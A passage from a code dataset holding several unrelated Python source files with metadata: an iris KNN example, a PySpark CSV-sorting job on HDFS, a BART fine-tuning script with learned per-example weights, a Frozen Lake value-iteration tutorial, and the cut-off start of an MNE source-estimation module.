"usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 98, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 99, "usage_type": "attribute"}, {"api_name": "math.degrees", "line_number": 120, "usage_type": "call"}]} {"seq_id": "4146394891", "text": "\r\nfrom sklearn.datasets import load_iris\r\niris=load_iris()\r\n'''\r\nprint (type(iris))\r\n#print (iris.data)\r\nprint(iris.feature_names)\r\nprint(iris.target)\r\nprint(iris.target_names)\r\nprint(iris.data.shape)\r\nprint (iris.target.shape)\r\n'''\r\n\r\n\r\nX=iris.data\r\ny=iris.target\r\n#print(X.shape)\r\n#print(y.shape)\r\n\r\n##########################################\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nknn=KNeighborsClassifier(n_neighbors=1)\r\n\r\nknn.fit(X,y)\r\n\r\nX_new=[[3,5,4,2],[5,4,3,2]]\r\nFl = knn.predict(X_new)\r\nprint ('Pridicted Flower type are :- ')\r\nprint (iris['target_names'][Fl])\r\n\r\n##########################################\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train,X_test,y_train,y_test=train_test_split(iris['data'],iris['target'],test_size=0.3,random_state=0)\r\n\r\nknn=KNeighborsClassifier(n_neighbors=5)\r\nknn.fit(X_train,y_train)\r\ny_pred=knn.predict(X_test)\r\n\r\nprint (y_pred)\r\nprint (y_test)\r\n\r\n\r\n", "repo_name": "vibwipro/Python-General-Coding", "sub_path": "Common Python Code/Iris_Dataset_Classification.py", "file_name": "Iris_Dataset_Classification.py", "file_ext": "py", "file_size_in_byte": 931, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 3, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 37, "usage_type": "call"}]} {"seq_id": "71870654950", "text": "import findspark\nfrom pyspark.sql import SparkSession\nimport sys\n\n# The entry point into all functionality in Spark is the SparkSession class.\nspark = (SparkSession\n .builder\n .appName(\"my awesome Spark SQL program\")\n .master(\"spark://172.31.93.203:7077\")\n .getOrCreate())\n\n# You can read the data from a file into DataFrames\n# df = spark.read.json(\"\")\ninput_path = \"hdfs://172.31.93.203:9000/\" + sys.argv[1]\ndf2 = spark.read.option(\"header\",\"true\").option(\"delimiter\", \",\").csv(input_path)\n\n# sorting as required\nanswer = df2.sort([\"cca2\", \"timestamp\"])\n\nanswer.write.format(\"csv\").mode(\"overwrite\").save(\"hdfs://172.31.93.203:9000/\" + sys.argv[2])", "repo_name": "domdecanio/AWS-Implementation-with-HDFS-Spark", "sub_path": "Assets/assignment1/part 2/my_pyspark_app.py", "file_name": "my_pyspark_app.py", "file_ext": "py", "file_size_in_byte": 677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 6, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 6, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}]} {"seq_id": "38984676350", "text": "import numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport tqdm\r\nfrom transformers import BartTokenizer, BartModel, BartForConditionalGeneration\r\nfrom bart_evaluate import combine_into_words\r\nimport pickle\r\nfrom data import tokenizer\r\nimport bart_evaluate\r\nimport random\r\n\r\ndevice = torch.device(\"cuda\")\r\neval_batch_size = 32\r\n\r\ndef lm_loss(logits, labels, lable_masks, reduction = \"mean\"):\r\n\r\n bsz = logits.shape[0]\r\n out = logits[:, :-1, :].contiguous().reshape(-1,logits.shape[-1])\r\n out = F.log_softmax(out)\r\n target = labels[:, 1:].contiguous().reshape(-1)\r\n\r\n loss = F.nll_loss(out,target, reduction='none').view(bsz,-1)\r\n loss = (loss * lable_masks[:,1:].float()).sum(1)\r\n length = lable_masks[:,1:].float().sum(1)\r\n loss = loss / length\r\n\r\n if reduction == \"mean\":\r\n loss = loss.sum()/bsz\r\n\r\n return loss\r\n\r\nclass Architect():\r\n \"\"\" Compute gradients of alphas \"\"\"\r\n def __init__(self, net, w_momentum, w_weight_decay):\r\n \"\"\"\r\n Args:\r\n net\r\n w_momentum: weights momentum\r\n \"\"\"\r\n self.net = net\r\n self.v_net = net\r\n self.w_momentum = w_momentum\r\n self.w_weight_decay = w_weight_decay\r\n\r\n def virtual_step(self, trn_X, trn_y, w_optim, Likelihood, step, batch_size):\r\n \"\"\"\r\n Compute unrolled weight w' (virtual step)\r\n Step process:\r\n 1) forward\r\n 2) calc loss\r\n 3) compute gradient (by backprop)\r\n 4) update gradient\r\n Args:\r\n xi: learning rate for virtual gradient step (same as weights lr)\r\n w_optim: weights optimizer\r\n \"\"\"\r\n # forward & calc loss\r\n dataIndex = len(trn_y)+step*batch_size\r\n \r\n input_id, input_mask = trn_X\r\n output_id, output_mask = trn_y\r\n \r\n # forward\r\n logits = self.v_net(input_ids = input_id, decoder_input_ids = output_id, labels = output_id)[1]\r\n \r\n # sigmoid loss\r\n first = torch.sigmoid(Likelihood[step*batch_size:dataIndex])\r\n second = lm_loss(logits, output_id, output_mask, reduction=\"none\")\r\n # print(first.size())\r\n # print(second.size())\r\n lossup = torch.dot(first, second)\r\n lossdiv =(torch.sigmoid(Likelihood[step*batch_size:dataIndex]).sum())\r\n loss = lossup/lossdiv\r\n \r\n# loss = torch.dot(torch.sigmoid(Likelihood[step*batch_size:dataIndex]), ignore_crit(logits, trn_y))/(torch.sigmoid(Likelihood[step*batch_size:dataIndex]).sum())\r\n \r\n # compute gradient of train loss towards likelihhod\r\n loss.backward()\r\n\r\n # do virtual step (update gradient)\r\n # below operations do not need gradient tracking\r\n with torch.no_grad():\r\n # dict key is not the value, but the pointer. So original network weight have to\r\n # be iterated also.\r\n for w, vw in zip(self.net.parameters(), self.v_net.parameters()):\r\n m = w_optim.state[w].get('momentum_buffer', 0.) * self.w_momentum\r\n \r\n if w.grad is not None:\r\n vw.copy_(w - args.lr * (m + w.grad + self.w_weight_decay*w))\r\n\r\n\r\n def unrolled_backward(self, trn_X, trn_y, val_X, val_y, w_optim, Likelihood, Likelihood_optim, step, batch_size):\r\n \"\"\" Compute unrolled loss and backward its gradients\r\n Args:\r\n xi: learning rate for virtual gradient step (same as net lr)\r\n w_optim: weights optimizer - for virtual step\r\n \"\"\"\r\n # crit = nn.CrossEntropyLoss().cuda()\r\n \r\n xi = 0.01\r\n # do virtual step (calc w`)\r\n self.virtual_step(trn_X, trn_y, w_optim, Likelihood, step, batch_size)\r\n \r\n \r\n vinput_id, vinput_mask = val_X\r\n voutput_id, voutput_mask = val_y\r\n # calc val prediction\r\n logits = self.v_net(input_ids = vinput_id, decoder_input_ids = voutput_id, labels = voutput_id)[1]\r\n # calc unrolled validation loss\r\n loss = lm_loss(logits, voutput_id, voutput_mask, reduction='mean')# L_val(w`)\r\n \r\n # compute gradient of validation loss towards weights\r\n v_weights = tuple(self.v_net.parameters())\r\n # some weights not used return none\r\n \r\n dw = []\r\n for w in v_weights: \r\n if w.requires_grad:\r\n dw.append(torch.autograd.grad(loss, w, allow_unused=True, retain_graph=True))\r\n else:\r\n dw.append(None)\r\n hessian = self.compute_hessian(dw, trn_X, trn_y, Likelihood, batch_size, step)\r\n\r\n \r\n Likelihood_optim.zero_grad()\r\n # update final gradient = - xi*hessian\r\n# with torch.no_grad():\r\n# for likelihood, h in zip(Likelihood, hessian):\r\n# print(len(hessian))\r\n# likelihood.grad = - xi*h\r\n with torch.no_grad():\r\n Likelihood.grad = - xi*hessian[0] \r\n Likelihood_optim.step()\r\n return Likelihood, Likelihood_optim, loss\r\n\r\n def compute_hessian(self, dw, trn_X, trn_y, Likelihood, batch_size, step):\r\n \"\"\"\r\n dw = dw` { L_val(w`, alpha) }\r\n w+ = w + eps * dw\r\n w- = w - eps * dw\r\n hessian = (dalpha { L_trn(w+, alpha) } - dalpha { L_trn(w-, alpha) }) / (2*eps)\r\n eps = 0.01 / ||dw||\r\n \"\"\"\r\n \r\n norm = torch.cat([w[0].view(-1) for w in dw if ((w != None) and (w[0] != None))]).norm()\r\n \r\n eps = 0.01 / norm\r\n \r\n input_id, input_mask = trn_X\r\n output_id, output_mask = trn_y\r\n \r\n # w+ = w + eps*dw`\r\n with torch.no_grad():\r\n for p, d in zip(self.net.parameters(), dw):\r\n if d!= None and d[0] != None:\r\n pp = eps * d[0]\r\n p += eps * d[0]\r\n \r\n \r\n # forward & calc loss\r\n dataIndex = len(input_id)+step*batch_size \r\n # forward\r\n logits = self.net(input_ids = input_id, decoder_input_ids = output_id, labels = output_id)[1]\r\n # sigmoid loss\r\n first = torch.sigmoid(Likelihood[step*batch_size:dataIndex])\r\n second = lm_loss(logits, output_id, output_mask, reduction=\"none\")\r\n lossup = torch.dot(first, second)\r\n lossdiv =(torch.sigmoid(Likelihood[step*batch_size:dataIndex]).sum())\r\n loss = lossup/lossdiv\r\n \r\n \r\n dalpha_pos = torch.autograd.grad(loss, Likelihood) # dalpha { L_trn(w+) }\r\n\r\n # w- = w - eps*dw`\r\n with torch.no_grad():\r\n for p, d in zip(self.net.parameters(), dw):\r\n if d != None and d[0] != None:\r\n p -= 2. * eps * d[0]\r\n # forward\r\n logits = self.net(input_ids = input_id, decoder_input_ids = output_id, labels = output_id)[1]\r\n # sigmoid loss\r\n first = torch.sigmoid(Likelihood[step*batch_size:dataIndex])\r\n second = lm_loss(logits, output_id, output_mask, reduction=\"none\")\r\n lossup = torch.dot(first, second)\r\n lossdiv =(torch.sigmoid(Likelihood[step*batch_size:dataIndex]).sum())\r\n loss = lossup/lossdiv\r\n\r\n\r\n dalpha_neg = torch.autograd.grad(loss, Likelihood) # dalpha { L_trn(w-) }\r\n\r\n # recover w\r\n with torch.no_grad():\r\n for p, d in zip(self.net.parameters(), dw):\r\n if d != None and d[0] != None:\r\n p += eps * d[0]\r\n\r\n hessian = [(p-n) / (2.*eps) for p, n in zip(dalpha_pos, dalpha_neg)]\r\n return hessian\r\n\r\n\r\n\r\n\r\ndef train(model,dataset,test_data,train_data,optimizer,log_path,gen_path,best_model_pth,batch_size = 64, num_accumulation = 2, steps = 50000, epoch_num = 10):\r\n train_dataset = dataset[\"train\"]\r\n test_dataset = dataset[\"test\"]\r\n dev_dataset = dataset[\"dev\"]\r\n iter_num = len(train_dataset) // batch_size \r\n best_ppl = 10000000\r\n best_score = 0\r\n step_count = 0\r\n total_loss = []\r\n\r\n architect = Architect(model,w_momentum=0.9,w_weight_decay = 3e-4)\r\n Likelihood = torch.nn.Parameter(torch.ones(len(train_dataset)).cuda(),requires_grad=True).cuda()\r\n Likelihood_optim = torch.optim.Adam({Likelihood}, 0.1, betas=(0.5, 0.999))\r\n\r\n bar = tqdm.tqdm(total=steps)\r\n bar.update(0)\r\n\r\n logs = {}\r\n begin_eval = False\r\n dev_iter = 0\r\n total_dev_iter = len(dev_dataset) // batch_size\r\n\r\n while step_count < steps:\r\n model.train()\r\n epoch_loss = 0\r\n optimizer.zero_grad()\r\n random.shuffle(train_dataset)\r\n for iter in range(iter_num):\r\n input_id, input_mask, output_id, output_mask = gen_batched_data(batch_size, iter, train_dataset)\r\n vinput_id, vinput_mask, voutput_id, voutput_mask = gen_batched_data(batch_size, dev_iter, dev_dataset)\r\n\r\n trn_x = (input_id,input_mask)\r\n trn_y = (output_id,output_mask)\r\n val_x = (vinput_id,vinput_mask)\r\n val_y = (voutput_id,voutput_mask)\r\n\r\n bsz = input_id.shape[0]\r\n \r\n\r\n architect.unrolled_backward(trn_x,trn_y,val_x,val_y,optimizer,Likelihood,Likelihood_optim,iter,bsz)\r\n\r\n\r\n logits = model(input_ids = input_id, decoder_input_ids = output_id, labels = output_id)[1]\r\n\r\n loss = lm_loss(logits,output_id,output_mask,reduction=\"mean\")\r\n\r\n loss.backward()\r\n\r\n epoch_loss += loss.item()\r\n total_loss.append(loss.item())\r\n\r\n if (iter + 1) % num_accumulation == 0:\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n step_count += 1\r\n if step_count >= steps:\r\n break\r\n\r\n if (step_count % 500) == 0:\r\n begin_eval = True\r\n bar.update(1)\r\n\r\n if begin_eval:\r\n test_perplexity, log = do_eval(model, dev_dataset, test_dataset, test_data, train_data, gen_path, step_count, steps)\r\n log[\"macro loss\"] = sum(total_loss) / len(total_loss)\r\n logs[str(step_count)] = log\r\n torch.save(logs, log_path + \"/{}-{}.pkl\".format(step_count, steps))\r\n begin_eval = False\r\n if test_perplexity < best_ppl:\r\n best_ppl = test_perplexity\r\n #save model\r\n torch.save({\"model\":model.state_dict(), \"opt\":optimizer}, open(best_model_pth,\"wb\"))\r\n print(\"best ppl model saved\")\r\n \r\n dev_iter = (dev_iter + 1) % total_dev_iter\r\n \r\n\r\ndef do_eval(model, dev_dataset, test_dataset, test_data, train_data, gen_path, step_count, steps):\r\n# eval_perplexity = eval_model(model,dev_dataset)\r\n test_perplexity = eval_model(model,test_dataset)\r\n\r\n gen_name = gen_path + \"/iter{}-{}.txt\".format(step_count, steps)\r\n log_info = bart_evaluate.evaluate_generation_dataset(test_dataset,test_data,train_data,model,gen_name=gen_name)\r\n log_info[\"Test Perplexity\"] = test_perplexity\r\n# log_info[\"Eval Perplexity\"] = eval_perplexity\r\n log_info[\"step\"] = step_count\r\n\r\n print(\"================Step %d====================\"%(step_count))\r\n print(\"Saving gens to {}\".format(gen_name))\r\n# print(\"Eval Perplexity: %f\"%(eval_perplexity))\r\n print(\"Test Perplexity: %f\"%(test_perplexity))\r\n\r\n return test_perplexity, log_info\r\n\r\n \r\n \r\n\r\n\r\n \r\n # break\r\n\r\ndef gen_batched_data(batch_size, iter, dataset, PAD_IDX = 1):\r\n st = iter * batch_size\r\n ed = min([(iter+1) * batch_size, len(dataset)])\r\n batched_data = dataset[st:ed]\r\n\r\n max_input_len = max([len(data[0]) for data in batched_data])\r\n max_output_len = max([len(data[1]) for data in batched_data])\r\n\r\n batched_input_id = []\r\n batched_output_id = []\r\n\r\n for input_id, output_id in batched_data:\r\n input_id += [PAD_IDX] * (max_input_len - len(input_id))\r\n output_id += [PAD_IDX] * (max_output_len - len(output_id))\r\n batched_input_id.append(input_id)\r\n batched_output_id.append(output_id)\r\n\r\n batched_input_id = torch.LongTensor(batched_input_id).to(device)\r\n batched_output_id = torch.LongTensor(batched_output_id).to(device)\r\n batched_input_mask = batched_input_id != PAD_IDX\r\n batched_output_mask = batched_output_id != PAD_IDX\r\n\r\n return batched_input_id, batched_input_mask, batched_output_id, batched_output_mask\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\ndef log_to_file(file_name, log_info):\r\n with open(file_name,\"a\") as fout:\r\n fout.write(\"==============Epoch {}=======================\\n\".format(log_info[\"Epoch\"]))\r\n fout.write(\"Training Steps: {}\\n\".format(log_info[\"step\"]))\r\n fout.write(\"Trainning Loss: {}\\n\".format(log_info[\"Trainning Loss\"]))\r\n fout.write(\"Eval Perplexity: {}\\n\".format(log_info[\"Eval Perplexity\"]))\r\n fout.write(\"Test Perplexity: {}\\n\".format(log_info[\"Test Perplexity\"]))\r\n fout.write(\"N/T_sro: {}\\n\".format(log_info[\"N_sro\"]))\r\n fout.write(\"N/T_o: {}\\n\".format(log_info[\"N_o\"]))\r\n fout.write(\"Score: {}\\n\".format(log_info[\"score\"]))\r\n\r\n\r\n\r\ndef sample(model, test_dataset,sample_num = 5):\r\n input_ids = gen_batched_data(sample_num, 0, test_dataset)[0]\r\n output_ids = model.generate(input_ids=input_ids, max_length=20,do_sample=False)\r\n for i in range(output_ids.shape[0]): # 3 output sequences were generated\r\n print('Generated {}: {} {}'.format(i, tokenizer.decode(input_ids[i], skip_special_tokens=True), tokenizer.decode(output_ids[i], skip_special_tokens=True)))\r\n\r\n\r\ndef eval_model(model, eval_dataset):\r\n eval_iter_num = len(eval_dataset) // eval_batch_size\r\n model.eval()\r\n perplexity = 0\r\n for iter in range(eval_iter_num):\r\n with torch.no_grad():\r\n input_id, input_mask, output_id, output_mask = gen_batched_data(eval_batch_size, iter, eval_dataset)\r\n bsz = input_id.shape[0]\r\n logits = model(input_ids = input_id, decoder_input_ids = output_id, labels = output_id)[1]\r\n\r\n out = logits[:, :-1, :].contiguous().reshape(-1,logits.shape[-1])\r\n out = F.log_softmax(out)\r\n # print(out.shape)\r\n target = output_id[:, 1:].contiguous().reshape(-1)\r\n # print(target.shape)\r\n\r\n loss = F.nll_loss(out,target, reduction='none').view(bsz,-1)\r\n loss = (loss * output_mask[:,1:].float()).sum(1)\r\n length = output_mask[:,1:].float().sum(1)\r\n loss = (loss/length).sum()/bsz\r\n\r\n perplexity += loss.item()\r\n\r\n return np.exp(perplexity / eval_iter_num)\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n \r\n\r\n\r\n", "repo_name": "UCSD-AI4H/Knowledge-Graph-Generation", "sub_path": "path/src/finetune_ignore.py", "file_name": "finetune_ignore.py", "file_ext": "py", "file_size_in_byte": 14202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.sigmoid", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 120, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 173, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 190, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 215, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 216, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 218, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 275, "usage_type": "call"}, {"api_name": "bart_evaluate.evaluate_generation_dataset", "line_number": 286, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 323, "usage_type": "call"}, {"api_name": "data.tokenizer.decode", "line_number": 353, "usage_type": "call"}, {"api_name": "data.tokenizer", "line_number": 353, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 367, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 367, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 372, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 372, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 379, "usage_type": "call"}]} {"seq_id": "11488209018", "text": "# Import the necessary libraries\r\nimport gym\r\nimport numpy as np\r\n\r\n# Create the Frozen Lake environment using Gym\r\nenv = gym.make('FrozenLake-v0')\r\n\r\n# Let's take a look at the Frozen Lake environment using the render function\r\nenv.render()\r\n\r\n\r\n# FROM HERE WE WILL START COMPUTING THE OPTIMAL VALUE FUNCTION\r\n# Define the value_iteration function, which takes the environment as a parameter\r\ndef value_iteration(env):\r\n\t# Set the number of iterations\r\n\tnum_iterations = 1000\r\n\r\n\t# Set the threshold number for checking the convergence of the value function\r\n\tthreshold = 1e-20\r\n\r\n\t# Set the discount factor 𝛾 to 1\r\n\tgamma = 1.0\r\n\r\n\t# We will initialize the value table by setting the value of all states to zero\r\n\tvalue_table = np.zeros(env.observation_space.n)\r\n\r\n\t# For every iteration\r\n\tfor i in range(num_iterations):\r\n\t\t# Update the value table\r\n\t\tupdated_value_table = np.copy(value_table)\r\n\r\n\t\t# for each state, we compute the Q values of all the actions \r\n\t\t# in the state and then we update the value of the state as \r\n\t\t# the one that has the maximum Q value\r\n\t\tfor s in range(env.observation_space.n):\r\n\t\t\t# Compute the Q value of all the actions\r\n\t\t\tQ_values = [sum([prob*(r + gamma * updated_value_table[s_])\r\n\t\t\t\tfor prob, s_, r, _ in env.P[s][a]])\r\n\t\t\t\t\tfor a in range(env.action_space.n)]\r\n\r\n\t\t\t# Update the value of the state as a maximum Q value\r\n\t\t\tvalue_table[s] = max(Q_values)\r\n\r\n\t\t# After computing the value table, we check whether\r\n\t\t# the difference between the value table obtained in \r\n\t\t# the current iteration and the previous iteration \r\n\t\t# is less than or equal to a threshold value.\r\n\t\t# If the difference is less than the threshold, \r\n\t\t# then we break the loop and return the value table \r\n\t\t# as our optimal value function as the following code shows:\r\n\t\tif (np.sum(np.fabs(updated_value_table - value_table)) <= threshold):\r\n\t\t\tbreak\r\n\treturn value_table\r\n\r\n\r\n\r\n# FROM HERE WE WILL EXTRACT THE OPTIMAL POLICY FROM \r\n# THE COMPUTED OPTIMAL VALUE FUNCTION\r\n\r\n# We define a function called extract_policy \r\n# which takes value_table as a parameter\r\ndef extract_policy(value_table):\r\n\t# Set the discount factor 𝛾 to 1\r\n\tgamma = 1.0\r\n\t# Let initialize the policy with zeros, \r\n\t# that is, we set the actions for all the states to be zero:\r\n\tpolicy = np.zeros(env.observation_space.n)\r\n\r\n\t# For each state, we compute the Q values for all the actions \r\n\t# in the state and then we extract the policy by selecting \r\n\t# the action that has the maximum Q value.\r\n\tfor s in range(env.observation_space.n):\r\n\t\t# Compute the Q value of all the actions in the state, 𝑄(𝑠,a)\r\n\t\tQ_values = [sum([prob*(r + gamma * value_table[s_])\r\n\t\t\tfor prob, s_, r, _ in env.P[s][a]])\r\n\t\t\t\tfor a in range(env.action_space.n)]\r\n\r\n\t\t# Extract the policy by selecting the action that has the maximum Q value,\r\n\t\tpolicy[s] = np.argmax(np.array(Q_values))\r\n\treturn policy\r\n\r\n\r\n#\tWe learned that in the Frozen Lake environment, \r\n#\tour goal is to find the optimal policy that selects the correct action \r\n#\tin each state so that we can reach state G from state A without visiting the hole states.\r\n\r\n\r\n# Firstly, we compute the optimal value function \r\n# using our value_iteration function by passing our \r\n# Frozen Lake environment as the parameter: \r\noptimal_value_function = value_iteration(env)\r\n\r\n# Next, we extract the optimal policy from the optimal value \r\n# function using our extract_policy function:\r\noptimal_policy = extract_policy(optimal_value_function)\r\n\r\n# We can print the obtained optimal policy:\r\nprint(optimal_policy)\r\n\r\n# The preceding code will print the following. \r\n# As we can observe, our optimal policy tells us \r\n# to perform the correct action in each state:", "repo_name": "popoola-0917/drl_popoola", "sub_path": "basic_rl_algorithm/2. Solving the Frozen Lake problem with value iteration.py", "file_name": "2. Solving the Frozen Lake problem with value iteration.py", "file_ext": "py", "file_size_in_byte": 3706, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gym.make", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.fabs", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}]} {"seq_id": "19287347625", "text": "import numpy as np\n\nfrom .._fiff.constants import FIFF\nfrom .._fiff.pick import pick_info\nfrom ..baseline import _log_rescale, rescale\nfrom ..epochs import Epochs\nfrom ..event import make_fixed_length_events\nfrom ..evoked import EvokedArray\nfrom ..fixes import _safe_svd\nfrom ..label import BiHemiLabel, Label\nfrom ..parallel import parallel_func\nfrom ..source_estimate import _make_stc\nfrom ..time_frequency.multitaper import (\n _compute_mt_params,\n _mt_spectra,\n _psd_from_mt,\n _psd_from_mt_adaptive,\n)\nfrom ..time_frequency.tfr import cwt, morlet\nfrom ..utils import ProgressBar, _check_option, _pl, _validate_type, logger, verbose\nfrom .inverse import (\n INVERSE_METHODS,\n _assemble_kernel,\n _check_or_prepare,\n _check_ori,\n _pick_channels_inverse_operator,\n _subject_from_inverse,\n combine_xyz,\n)\n\n\ndef _restrict_K_to_lbls(labels, K, noise_norm, vertno, pick_ori):\n \"\"\"Use labels to choose desired sources in the kernel.\"\"\"\n verts_to_use = [[], []]\n # create mask for K by compiling original vertices from vertno in labels\n for ii in range(len(labels)):\n lab = labels[ii]\n # handle BiHemi labels; ok so long as no overlap w/ single hemi labels\n if lab.hemi == \"both\":\n l_verts = np.intersect1d(vertno[0], lab.lh.vertices)\n r_verts = np.intersect1d(vertno[1], lab.rh.vertices) # output sorted\n verts_to_use[0] += list(l_verts)\n verts_to_use[1] += list(r_verts)\n else:\n hidx = 0 if lab.hemi == \"lh\" else 1\n verts = np.intersect1d(vertno[hidx], lab.vertices)\n verts_to_use[hidx] += list(verts)\n\n # check that we don't have overlapping vertices in our labels\n for ii in range(2):\n if len(np.unique(verts_to_use[ii])) != len(verts_to_use[ii]):\n raise RuntimeError(\n \"Labels cannot have overlapping vertices. \"\n \"Please select labels with unique vertices \"\n \"and try again.\"\n )\n\n # turn original vertex numbers from vertno into indices for K\n K_mask = np.searchsorted(vertno[0], verts_to_use[0])\n r_kmask = np.searchsorted(vertno[1], verts_to_use[1]) + len(vertno[0])\n K_mask = np.hstack((K_mask, r_kmask))\n\n # record which original vertices are at each index in out_K\n hemis = (\"lh\", \"rh\")\n ki_keys = [\n (hemis[hi], verts_to_use[hi][ii])\n for hi in range(2)\n for ii in range(len(verts_to_use[hi]))\n ]\n ki_vals = list(range(len(K_mask)))\n k_idxs = dict(zip(ki_keys, ki_vals))\n\n # mask K, handling the orientation issue\n len_allverts = len(vertno[0]) + len(vertno[1])\n if len(K) == len_allverts:\n assert pick_ori == \"normal\"\n out_K = K[K_mask]\n else:\n # here, K = [x0, y0, z0, x1, y1, z1 ...]\n # we need to drop x, y and z of unused vertices\n assert not pick_ori == \"normal\", pick_ori\n assert len(K) == 3 * len_allverts, (len(K), len_allverts)\n out_len = len(K_mask) * 3\n out_K = K[0:out_len] # get the correct-shaped array\n for di in range(3):\n K_pick = K[di::3]\n out_K[di::3] = K_pick[K_mask] # set correct values for out\n\n out_vertno = verts_to_use\n if noise_norm is not None:\n out_nn = noise_norm[K_mask]\n else:\n out_nn = None\n\n return out_K, out_nn, out_vertno, k_idxs\n\n\ndef _prepare_source_params(\n inst,\n inverse_operator,\n label=None,\n lambda2=1.0 / 9.0,\n method=\"dSPM\",\n nave=1,\n pca=True,\n pick_ori=\"normal\",\n prepared=False,\n method_params=None,\n use_cps=True,\n):\n \"\"\"Prepare inverse operator and params for spectral / TFR analysis.\"\"\"\n inv = _check_or_prepare(\n inverse_operator, nave, lambda2, method, method_params, prepared\n )\n\n #\n # Pick the correct channels from the data\n #\n sel = _pick_channels_inverse_operator(inst.ch_names, inv)\n logger.info(\"Picked %d channels from the data\" % len(sel))\n logger.info(\"Computing inverse...\")\n #\n # Simple matrix multiplication followed by combination of the\n # three current components\n #\n # This does all the data transformations to compute the weights for the\n # eigenleads\n #\n # K shape: (3 x n_sources, n_channels) or (n_sources, n_channels)\n # noise_norm shape: (n_sources, 1)\n # vertno: [lh_verts, rh_verts]\n\n k_idxs = None\n if not isinstance(label, (Label, BiHemiLabel)):\n whole_K, whole_noise_norm, whole_vertno, _ = _assemble_kernel(\n inv, None, method, pick_ori, use_cps=use_cps\n )\n if isinstance(label, list):\n K, noise_norm, vertno, k_idxs = _restrict_K_to_lbls(\n label, whole_K, whole_noise_norm, whole_vertno, pick_ori\n )\n else:\n assert not label\n K, noise_norm, vertno = whole_K, whole_noise_norm, whole_vertno\n elif isinstance(label, (Label, BiHemiLabel)):\n K, noise_norm, vertno, _ = _assemble_kernel(\n inv, label, method, pick_ori, use_cps=use_cps\n )\n\n if pca:\n U, s, Vh = 